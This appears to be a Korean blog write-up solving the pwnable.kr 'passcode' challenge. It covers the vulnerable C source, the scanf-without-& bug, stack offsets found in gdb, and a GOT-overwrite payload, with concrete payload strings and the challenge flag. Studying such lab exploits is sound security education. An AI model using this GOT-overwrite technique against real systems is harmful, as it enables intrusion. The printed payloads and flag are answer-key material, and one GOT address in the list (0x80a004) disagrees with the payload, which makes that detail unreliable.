일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 정보처리기사 실기
- PWN
- pwnable
- 네트워크
- Buffer Overflow
- 해킹
- 워게임
- Shell code
- Pwnable.kr
- OS
- Spring Framework
- SQL
- 정보보안기사 실기
- hacking
- 웹해킹
- webhacking.kr
- Spring
- 정보보안기사
- system hacking
- Lord of BOF
- LOB
- System
- 운영체제
- Spring MVC
- webhacking
- BOF
- stack overflow
- wargame
- Operating System
- Payload
- Today
- Total
DongDD's IT
[pwnable.kr]passcode 본문
[pwnable.kr]passcode
Problem
로그인 시스템을 기초로 하는 passcode를 만드는 법을 들었다고 되어있고 C code로 에러없이 컴파일했지만 몇 개의 warning이 출력되었는데 봐줄 수 있느냐고 되어있었다.
문제만 읽어서는 예측이 되지 않아 일단 ssh로 접속을 했다.
ssh로 접속해서 확인해보니 flag 파일 하나와 passcode 실행 파일, passcode.c 소스 코드 파일이 있었다.
먼저 소스코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } | cs |
메인에서는 welcome()함수를 호출하고 login()함수를 호출하고 몇 가지 출력이 있었다.
welcome() 함수에서는 name이라는 100 bytes char형 배열이 있었고 scanf를 통해 name을 입력받게 되어있었다.
login() 함수에서는 passcode1을 scanf를 통해 입력받고 fflush(stdin)으로
후에 passcode2를 입력받는다. 그러나 일반적이 scanf 사용 방식과는 달리 &를 사용하지 않아 passcode의 주소에 값을 넣어주는 것이 아닌 passcode에 들어있는 값에 값을 넣어주는 방식으로 동작하게 된다. 그 후에 passcode1이 338150이고 passcode2가 13371337이면 "Login OK!"라는 메시지와 함께 system함수로 flag 내용을 출력해주는 형태로 되어있었다.
Solution
먼저 gdb를 통해 name이 들어가는 메모리 영역과 passcode1과 passcode2가 들어가는 메모리 영역을 확인해보았다.
먼저 welcome()함수에서 name의 위치를 찾아보았다. ebp-0x70에 해당하는 위치부터 100 bytes를 입력받아 들어가게 된다. "A"를 100번 입력해 확인해보니 저 위치에 들어가는 것을 알 수 있었다.
그 후에는 login()함수에서 passcode1과 passcode2가 들어가는 위치를 확인해보았다.
passcode1은 ebp-0x10 위치에 들어가고 passcode2는 ebp-0xc 위치에 들어가게 된다.
name은 ebp-0x70 부터 100 bytes(0x64)만큼 들어가게 되는데, 0x70-0x64 = 0xc이기 때문에 ebp-0xc 전까지 값을 채울 수 있게 된다는 것을 의미한다.
즉, ebp-0x10에 위치한 passcode1의 값을 name이 마지막 4 bytes로 덮어쓸 수 있는 것이다.
passcode1에 사용할 주소 값을 넣고 stdin으로 이 주소의 값을 변경해줄 수 있게 된다.
got overwrite를 간단히 이용할 수 있게 된다. got의 값을 원하는 주소로 수정해 그 함수가 실행될 때 원하는 위치의 함수가 대신 실행되게 할 수 있다.
사용할 수 있는 함수로는 login함수에서 사용되는 fflush나 printf, exit함수가 있다. 이 함수들의 got주소를 name 마지막 4 bytes에 넣고 scanf("%d",passcode1)에 실행시킬 함수의 주소를 int형으로 넣어주면 이 함수가 실행될 때 원하는 함수가 실행되도록 할 수 있게 된다.
실행시켜야 할 함수는 login()함수 내부에 있는 system()함수로 설정하면 된다.
system("/bin/cat flag") 함수의 주소 : 0x80485e3(134514147)
사용할 수 있는 함수들의 got 주소를 알아온 다음에 이것을 이용해 payload를 작성해 실행해보았다.
printf() got : 0x804a000
exit() got : 0x804a018
fflush() got : 0x80a004
Payload = dummy(96 bytes, name의 96bytes) + 사용할 got 주소(4 bytes, name의 끝 4 bytes(passcode1)) + 덮어쓸 주소(4 bytes(int), login()함수 내에 있는 system함수)
위 payload를 passcode의 input으로 넣어주어 실행하니 flag를 얻을 수 있었다.
************** Answer & Flag **************
Payload = dummy(96 bytes, "A" * 96) + 사용할 got 주소(4 bytes, 0x804a000 or 0x804a004 or 0x804a018) + 덮어쓸 주소(4 bytes(int), 134514147)
"A"*96 + "\x00\xa0\x04\x08" + "134514147"
"A"*96 + "\x04\xa0\x04\x08" + "134514147"
"A"*96 + "\x18\xa0\x04\x08" + "134514147"
Flag : Sorry mom.. I got confused about scanf usage :(
'Wargame > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] input (0) | 2018.04.19 |
---|---|
[pwnable.kr] random (0) | 2018.04.02 |
[pwnable.kr] flag (0) | 2018.03.09 |
[pwnable.kr] bof (0) | 2018.03.07 |
[pwnable.kr] collision (0) | 2018.03.02 |